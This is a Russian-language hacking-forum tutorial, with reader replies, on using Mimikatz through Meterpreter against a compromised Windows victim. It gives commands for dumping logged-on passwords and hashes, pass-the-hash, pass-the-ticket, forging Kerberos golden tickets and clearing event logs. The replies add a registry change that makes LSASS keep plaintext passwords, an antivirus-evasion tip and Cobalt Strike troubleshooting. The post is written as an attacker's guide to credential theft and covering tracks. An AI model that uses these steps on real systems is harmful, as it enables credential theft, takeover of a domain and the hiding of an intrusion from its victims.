Всем привет. Поговорим о небольшом в каком - то смысле, но очень мощном постэксплуатационном фреймворке Mimikatz. Cсылочка на вики: https://github.com/gentilkiwi/mimikatz/wiki Ссылочка где ещё почитать: https://adsecurity.org/?page_id=1821#SEKURLSAKerberos Ссылочка на гит: https://github.com/gentilkiwi/mimikatz Ссылочка на метасплоит с мимикатзом: https://www.offensive-security.com/metasploit-unleashed/mimikatz/ Ну а я же в вкратце освещу всё, что написано в сие ссылках и добавлю от себя. Итак, поехали, мы захватили компьютер жертвы с помощью метерпретера и теперь надо пробросить mimikatz. Для этого выполняем команду: Code: load mimikatz В результате получаем следующее... Открываем help и погнали Видим, что нам доступны некоторые опции (на самом деле это опции из модуля sekurlsa). Для того чтобы узреть все модули мимикатца, необходимо выполнить команду с любым несуществующим модулем. Code: mimikatz_command -f antichat:: Чтобы увидеть опции любого модуля выполним же следующую команду(Напоминаю, что пока мы работаем в meterpreter console): Code: mimikatz_command -f crypto:: В результате получим список опций этого модуля. Воспользуемся первой из опции и взглянем какие криптопровайдеры установлены на моей машине. На этом я закончу смотреть на мимикатц через метерпретер и воспользуемся его бинарной сборкой для удобства описания модулей и практики. Для этого я накатил windows server 2012 с установленными Active Directory и Цербером. Об этом позже, а пока вспомним какие модули есть. Модули module ~ crypto – достаточно старый модуль, позволяет ресерчить CryptoApi провайдеры, но сегодня это уже мало что дает. 1) crypto:: providers – вывести список всех криптопровайдеров 2) crypto::stores – вывести все логические хранилища сертификатов в системном окружении Spoiler: Профит 3) crypto::certificates – перечисляет сертификаты и ключи, так же может их экспортировать Spoiler: Профит 4) crypto::keys – перечисляет установленные ключи Spoiler: Профит 5) crypto::hash – функция говорит сама за себя. Получаем хешики пользователя Spoiler: Профит 6) crypto::capi – делает неэкспортируемые ключи – экспортируемыми Spoiler: Профит module ~ privilege – модуль для получения определенных прав и повышение привилегий 1) privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки. 2) privilege::driver – Получить привилегии на загрузку драйверов. 3) privilege::security – Получить привилегии на изменение политики безопасности. 4) privilege::backup – Получаем права на архивирование файлов 5) privilege::restore – Получаем права на восстановление бэкапов 6) privilege::sysenv – Получаем права на управление переменными окружения Spoiler: Профит module ~ sekurlsa – модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug. 1) sekurlsa::logonpasswords – получить хеши залогиненных пользователей Spoiler: Профит 2) sekurlsa::wdigest – получить хеши залогиненных пользователей (в открытом виде из wdigest) Spoiler: Профит 3) sekurlsa::msv – тоже самое + CredentionalKeys Spoiler: Профит 4) sekurlsa::tspkg – сервис для управления фрагментацией реестра, в том числе через него можно получить креды. Spoiler: Профит 5) sekurlsa::livessp – ещё одна служба, которая позволяет получать креды в открытом виде. 6) sekurlsa:: process – переключиться в LSASS, чтобы снифать пассы. 7) sekurlsa:: pth - – запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd. Spoiler: Профит 8) sekurlsa::tickets – получить все билеты Цербера Spoiler: Профит 9) sekurlsa::krbtgt – получить все TGT билеты в текущей сессии Spoiler: Профит 10) sekurlsa::dpapisystem – Получить системный расшифрованный ключ Spoiler: Профит module ~ dpapi – модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа. 1) dpapi::blob – непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI 2) dpapi::chrome – расшифровать пароли GOOGLE CHROME module ~ event – модуль для очистки журнала событий 1) event::drop – остановить сервис легирования 2) event::clear - просто очистить логи Spoiler: Профит
module ~ kerberos - модуль для работы с Цербером, а вот тут мы поговорим по подробнее…… Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу). Ticket’ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center) Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями. А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами. Ну а теперь, когда мы знаем о Цербере всё, что надо. Посмотрим на то, что нам предлагает мимикатз... 1) kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию Spoiler: Профит Сгенерируем новый билет с помощью golden тикета и положим его в файл. Code: /kerberos::golden /user:Administrator /domain:<Domain> /sid:<SID> /krbtgt:<TGT билет админа> остальные опции означают записи в группы можно оставить без измений. 2) kerberos::list Список всех билетов в текущей сессии Spoiler: Профит 3) kerberos::tgt – Все ТГТ билеты в стекущей сессии Spoiler: Профит 4) kerberos: purge – удалить все билеты с текущей сессии Spoiler: Профит 5) kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене) Spoiler: Профит 6) kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера Spoiler: Профит module ~ minesweeper - Показать флажки в игре сапёр. Абсолютно бесполезная опция. Думаю добавлена для фана; module ~ misc – общие модули 1) misc::cmd – вызвать cmd окошко под текущим юзвером 2) misc::regedit – вызвать менеджер редактирования реестра 3) misc::taskmgr – вызвать таск менеджер он же «Диспетчер задач» 4) misc::detours – чекаем процессы Spoiler: Профит 5) misc::memssp инжектимся в память и перехватываем хешики пользователей Spoiler: Профит 6) misc::compressme – сжимает текущий файл mimikatz.exe Spoiler: Профит module ~ net – модуль для работы с локальными группами 1) net::user – список пользователей в системе Spoiler: Профит 2) net::group – Какой пользователь в какой групповой политике Spoiler: Профит 3) net::wsession – список последних сессий Spoiler: Профит 4) net::tod – время на удаленной тачке Spoiler: Профит module ~ sid – модули для работы с пользовательским id 1) sid::lookup – узнать кому принадлежит sid Spoiler: Профит module ~ token - модуль по работе с токенами пользователей 1) token::whoami – сведения о текущем пользователе Spoiler: Профит 2) token::list – список выданных токенов Spoiler: Профит 3) token::elevate – делегировать token 4) token::revert – откатить токен(разлогин) Первоисточник: codeby.net Ну и на последок видосик реализации атаки Golden Ticket
А про sekurlsa:: я писал. А разрядность я в х64 работал. Подгрузка в память да, АВ ест его на завтрак а вот если через powershell нет
SooLFaa респект! Есть предложение... у меня есть слабый тазик для тестирования метасплоита, потому что статей много но это все теория, а вот с практикой всё гораздо печальней. Если бы мне гуру подсказали что и как установить я бы предоставил тазик для уничтожения сообществу.
Небольшое замечание к статье. После обновлений KB2871997 KB2928120 LSASS по умолчанию не хранит пароли в открытом виде а хеширует. Чтобы устранить это досадное недоразумение необходимо прописать в ключе реестра HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest значение 1 Подробнее тут Далее необходимо устроить релогин пользователя и все вернется на круги своя.
Немного не точно, точнее совсем неправильно. По пути указанному выше, нужно найти DWORD параметр "UseLogonCredential" и вот ему уже прописать значение 1 P.S. Пробывал на 2012 сервере, все равно ни Mimikatz, ни WCE пароли не перехватывают (авера нет). На многих других дедах норм. Видимо есть еще какая-то причина.
Что-то мимикактз не очень хочет работать на Кобальте Страйке. Надписи как на грузинском чае. Хэши NTLM вижу, но не дешифрует, хотя пароль простой. Что делаю не так?
Прикол приколом. Но все таки? Слов нет, удобная штука Кобальт. Даже в мимикатз ничего набивать практически не надо, все скрипты делают. Но что-то не получается.
Кодировки... OEM vs. ANSI, как всегда (в данном случае Win-1251 против Win-1252). Сохраните вывод mimikatz в какой-нибудь файл (через редирект stdout), и скачайте его себе.
Mimikatz в Кобальте работает, но не полностью. Некоторые функции не работают. С чем может это быть связано?
Крипто, модули, с кербосом пока разбираюсь. Часть работает, а вот часть нет. Показывает, что сервак работает, но на этом все. К примеру . mimikatz sekurlsa::logonpasswords не хочет работать.